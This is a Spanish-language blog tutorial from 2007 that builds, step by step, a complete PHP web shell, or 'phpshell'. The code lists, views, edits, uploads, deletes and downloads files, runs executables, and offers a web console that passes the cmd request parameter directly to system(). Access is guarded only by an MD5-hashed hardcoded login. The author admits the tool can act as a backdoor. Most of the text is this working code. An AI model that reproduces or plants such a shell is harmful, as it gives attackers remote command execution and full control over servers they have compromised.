lunes, 1 de octubre de 2007

Una phpshell es un administrador de archivos mediante una interfaz web, utilizando una shell de este tipo es posible tener un acceso y control total del servidor donde esta se interprete, es posible programar shells de este tipo en diferentes lenguajes del lado del servidor, en este post veremos como programar una shell en php, y proximamente una shell en jsp, para empezar tengo que decir que el lector debe de tener ligeras nociones del lenguaje PHP.
Un administrador de archivos como lo es una phpshell es posible listar directorios, modificar archivos y crearlos sin problemas, pero este tipo de administradores no ejecutan comandos tal como la hacen programas como cmd y /bin/bash, si no, utilizando caracteristicas del lenguaje PHP es posible emular estos comandos.

Para listar directorios en PHP se utiliza una funcion llamada opendir() que recibe por parametro el directorio que se desea abrir temporalmente para su lectura con otra funcion llamada readdir().

<?php
$dir=opendir('.');
while($archivo=readdir($dir)){
echo "$archivo<br>";
}
?>


Una vez que hemos listado el directorio actual de trabajo, podemos realizar ciertas acciones sobre los archivos existentes en ese directorio. Una de estas acciones es provocar la edicion de algun archivo que se pase por parametro, obviamente este archivo de tener codificacion ascii y se encuentre en texto plano, ya que no podremos editar archivos que se encuentren codificados o sean archivos especiales para algun programa externo al lenguaje PHP.

Para realizar estas acciones debemos de hacernos de un codigo mas rebuscado y un poco mas general, con opciones que utilizaremos a lo largo de nuestra shell.

En este ejemplo vemos como podemos visualizar cualquier tipo de archivo en texto plano con nuestro navegador web:

<?php
switch($_GET["op"]){
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a><br>';
}
}
}
function parse($instruccion) { return str_replace(" ", "&nbsp;", $instruccion); }
?>

Esta nueva opcion de visualizacion recibira un archivo por parametro para posteriormente leerlo linea a linea y convertir su contenido a HTML, para que pueda ser visualizado por el navegador.

Ahora proseguiremos a programar la opcion de editar archivos, esta nueva opcion no dista mucho de la opcion de visualizacion, pero para ello deberemos utilizar etiquetas de formularios en HTML para por llevar acabo la edicion.

case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
break;
}

Agregamos dos nuevos case's para poder llevar acabo la edicion del archivo, en el primer case realizamos un formulario que contiene los datos actuales que contiene el archivo, desde ahi podemos realizar la edicion de archivos, al guardar los cambios en el formulario se utiliza el segundo case llamado guardar que recibe el nombre del archivo y su contenido mediante un array del metodo GET del formulario, con este array abrimos el archivo en modo de escritura y guardarlo con los cambios realizados.

Para administrar de manera satisfactoria todas las opciones que un administrador de archivos debe tener, por ejemplo, crear archivos, eliminarlos, descargarlos, subir nuevos archivos, renombrarlos y ejecutarlos en caso de que sean archivos binarios, para entonces vamos a crear los case's para poder realizar estas opciones.

<?php

if($_POST["upload"]=='upload'){
if (isset($_FILES['archivo']['tmp_name'])) {
echo 'Tipo de archivo: <b>'.$_FILES['archivo']['type'].'</b><BR>';
copy($_FILES['archivo']['tmp_name'], './'.$_FILES['archivo']['name']);
$subio = true;
}
if($subio=true){echo'El archivo subio satisfactoriamente';}else{echo 'No SUBIO';}
}

switch($_GET["op"]){
case 'new':{
if(empty($_GET["form"])){
echo '
<h4>Introducir el nombre del archivo</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="GET">
<input type="hidden" name="op" value=new>
<input type="hidden" name="form" value="1">
<input type="text" name="file" value="archivo.txt">
<input type="submit" value="Crear archivo">
</form>
';
}else{
$file = fopen($_GET["file"], "w+");
if ($file == false)
echo "No se puede crear el archivo<br>";
else
echo 'Archivo creado satisfactoreamente: "'.$_GET["file"].'"<br>';

}
break;
}
case 'del':{
if ($_GET["auth"] == "yes") {
if (@unlink($_GET["file"])==false) {
echo "No se puede remover el archivo \"".$_GET["file"]."\"<br>";
}
else {
echo "Removido satisfactoriamente \"".$_GET["file"]."\"<br>";
}
}
else {
echo "Estas seguro que deseas eliminar el archivo \"".$_GET["file"]."\" ?
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input type=\"hidden\" name=\"op\" value=\"del\">
<input type=\"hidden\" name=\"file\" value=\"".$_GET["file"]."\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">

<input type=\"submit\" value=\"Yes\"></form>
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
}
break;
}
case 'rename':{
if(!empty($_GET["form"])){
$return = @rename($_GET["file"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["file"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Archivo a renombrar: '.$_GET["file"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["file"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'exec':{
echo system('$_GET["file"]');
break;
}
case 'upload':{
echo '
<h4>Introducir el archivo a subir</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="POST" enctype="multipart/form-data">
<input type="hidden" name="upload" value=upload>
<input type="file" name="archivo" id="archivo">
<input type="submit" value="Subir archivo">
</form>
';

break;
}
case 'download':{
$downloadfile = urldecode($_GET["file"]);
if (function_exists("basename")){
$downloadto = basename ($downloadfile);
}else{
$downloadto = "download.ext";
}
if (!file_exists("$downloadfile")){
echo "El archivo no existe";
}else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
break;
}
case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
if($wrret){echo '<h3>El archivo se edito satisfactoriamente</h3>';}
break;
}
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a>&nbsp;
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}
function parse($instruccion) { return str_replace(" ", "&nbsp;", $instruccion); }
?>

Modificamos un poco el flujo del programa para poder utilizar el array $_POST y poder realizar la subida del archivo con la funcion copy() y la matriz $_FILES, las otras opciones no tienen mucha complicacion ya que para eliminar se utiliza la funcion unlink(), para renombrar la funcion rename(), para ejecutar archivos la funcion system(), quizas donde haya un poco de duda seria en la opcion de descarga, como bien se sabe los archivos compilados o codificados en binario no pueden ser visualizados por el navegador lo cual provoca su descarga inmediata, pero los archivos que tienen texto plano o pueden ser leidos por el navegador los interpreta y no permite su descarga, para poder descargar archivos como php, html, pl, imagenes, es necesario modificar las cabezeras de peticion al navegador y de esta forma es posible descargar ese tipo de archivos, para realizar esto se utiliza la funcion header() y en los parametros los datos del archivos a descargar.

Bien, despues de haber estado jugando con archivos, ahora nos preguntamos y los directorios?, pues bien empezaremos a manejar directorios, cambiar el directorio actual, renombrarlos y crearlos, todas las opciones que se puedan usar en directorios.

Hay que recordar que tenemos que tener en mente en todo momento el directorio en donde estamos situados por si quisieramos crear un archivo ahi o renombrarlo o alguna otra caracteristica mas, ya que si no lo tomamos en cuenta todos los cambios que realicemos se efectuaran en el directorio donde se encuentre nuestro script en php.

case 'rendir':{
if(!empty($_GET["form"])){
$return = @rename($_GET["dir"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["dir"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Directorio a renombrar: '.$_GET["dir"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["dir"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'deldir':{
if (is_dir($_GET["dir"])) {
$Fh=@opendir($_GET["dir"]);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != "..")) @closedir($Fh);
if(rmdir($_GET["dir"])) echo 'Directorio removido satisfactoriamente';
}else {
unlink($_GET["dir"]);
}
break;
}
default:{

if(isset($_GET["dir"])){
$pwd.=$_GET["dir"].'/';
$dir=opendir($_GET["dir"]);
}else{
$dir=opendir('.');
}
while($archivo=readdir($dir)){
$path='./'.$pwd.$archivo;
if (is_dir("$path")) {
echo '<a href="'.$_SERVER["PHP_SELF"].'?dir='.$path.'">'.$archivo.'</a>';
if ( ($archivo != ".") && ($archivo != "..") ){
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=rendir&dir='.$path.'">[renombrar]</a>';
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=deldir&dir='.$path.'">[eliminar]</a>';
}
echo '<br>';
}else{
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$pwd.$archivo.'>'.$archivo.'</a>&nbsp;
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$pwd.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$pwd.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$pwd.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$pwd.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}


He agregado dos nuevos case's para que sean las opciones de los directorios y mediante la funcion is_dir() podemos realizar acciones distantas que las mismas para los archivos de esta forma separamos los conceptos y los manipulamos de formas distintas, la opcion de renombrar es practicamente la misma que con archivos, pero hay que recordar que eliminar directorios (rmdir()) esto implica que el directorio debe de estar vacio y que debe pertenecer al usuario mediante el cual se esta ejecutando nuestra shell de lo contrario nos mostrara un Permission denied y eso no nos gustara nada.

Probablemente nuestra shell no tenga un aspecto muy atractivo y poco amigable a la vista, eso lo vamos a corregir con un poco de CSS y unas cuantas tablas, vamos a ver... :P

<style type=text/css>
BODY { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;
margin: 0px;padding: 0px;color: #fff;background-color: #242629;}
TABLE{

width: 700px;
}

TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;color: #e7e7eb;}
#fila:hover{
background-color: #808080;
}
a{
color: #fff;
}

input,textarea,select
{background: #44474f;
border: 1px solid #242629;
color: #e7e7eb;
font-family: verdana, helvetica, sans-serif;
font-size: 11px;
margin: 5px;
padding: 2px;
vertical-align: middle;}
</style>

Tras unos cambios aqui y por alla, he logrado un resultado mas que respetable, pero ahora nos faltan dos cosas para que nuestra phpshell sea utilizable, la primera que es debe de disponer de una consola por interfaz web y la segunda es que debe tener un sistema de autentificacion porque no queremos que cualquiera utilice nuestra shell, bien, entonces empecemos a trabajar con la consola.

En php existe una funcion llamada system() que es utilizada para enviar peticiones al sistema, como bien ya lo dije arriva cuando se ejecuta un archivo, ahora con un poco de ayuda de un formulario podremos introducir comandos al sistema sin ningun problema.

Realizamos un nuevo case para la consola:

case 'console':{
echo '
<form action="'.$_SERVER["PHP_SELF"].'" method=GET>
CMD:/><input type=hidden name=op value=console>
<input type=text name=cmd size=51>
<textarea cols=100 rows=20>';
if(isset($_GET[cmd])){
echo system($_GET[cmd]);
}else{
echo 'RUlezz';
}
echo '</textarea>
</form>
';
break;
}

Y atravez de este podremos introducir los comandos al sistema anfitrion, ahora veremos la autentificacion, existen diferentes formas de autentificacion, ninguna de ellas es completamente segura, lo mejor seria cifrar todo y que nadie lo vea, pero no vamos a llegar a tal extremo, pero para este caso las cookies no nos pueden ayudar mucho, aparte de que nunca me han agradado.

Utilizaremos variables de sesion, ya que a mi consideracion es un sistema de autentificacion un poco mas seguro y mas facil de manejar que las cookies.

session_start();
$username='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
$password='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
if(isset($_POST["autentificacion"])){
$user=md5($_POST["user"]);
$pass=md5($_POST["pass"]);
if($user===$username && $pass===$password){
$_SESSION["auth"]=true;
}
}
if($_GET["auth"]=='logout'){
session_unset();
session_destroy();
}
if($_SESSION["auth"]==true){

[CODIGO COMPLETO]

}else{
echo
'
<p>
&nbsp;
</p>
<center>
<h2>PHPSHELL LOGIN</h2><b>
<form action="'.$_SERVER["PHP_SELF"].'" METHOD="POST">
<INPUT TYPE=hidden name=autentificacion value=true>
User:<input type=text name=user><br><br>
Pass<input type=password name=pass><br>
<input type=submit value=Auth></B>
</FORM>
</center>
';
}

La verdad la autentificacion es un queso, pero al menos la complicamos un poco, por cierto pueden generar sus propias cuentas utilizando la funcion md5()

<?php
if(!isset($_GET["string"])){
echo '
<form action=md5.php method=get>
<input type=text name=string>
<input type=submit value=ss>
</form>
';
}else{
echo md5($_GET["string"]);
}
?>

Bueno, creo que hemos llegado al final de este texto, solo me queda decir que esta phpshell se puede mejorar y mucho solo es cuestion de tener un poco mas de imaginacion y practica en php, incluso se puede optimizar de mejor forma utilizando clases y objetos, solo espero que la disfruten como administrador de archivos y no como puerta trasera que se puede llegar a utilizar, bueno ya no me lio mas y me despido.

Pwneds forever!!! =)
Codigo PHP: PHPSHELL

1 comentarios :

  1. Anónimo dijo...

    Muy interesantes los codigos, no los he podido correr porque aqui no me los deja copiarlos, me gustaria poder correrlos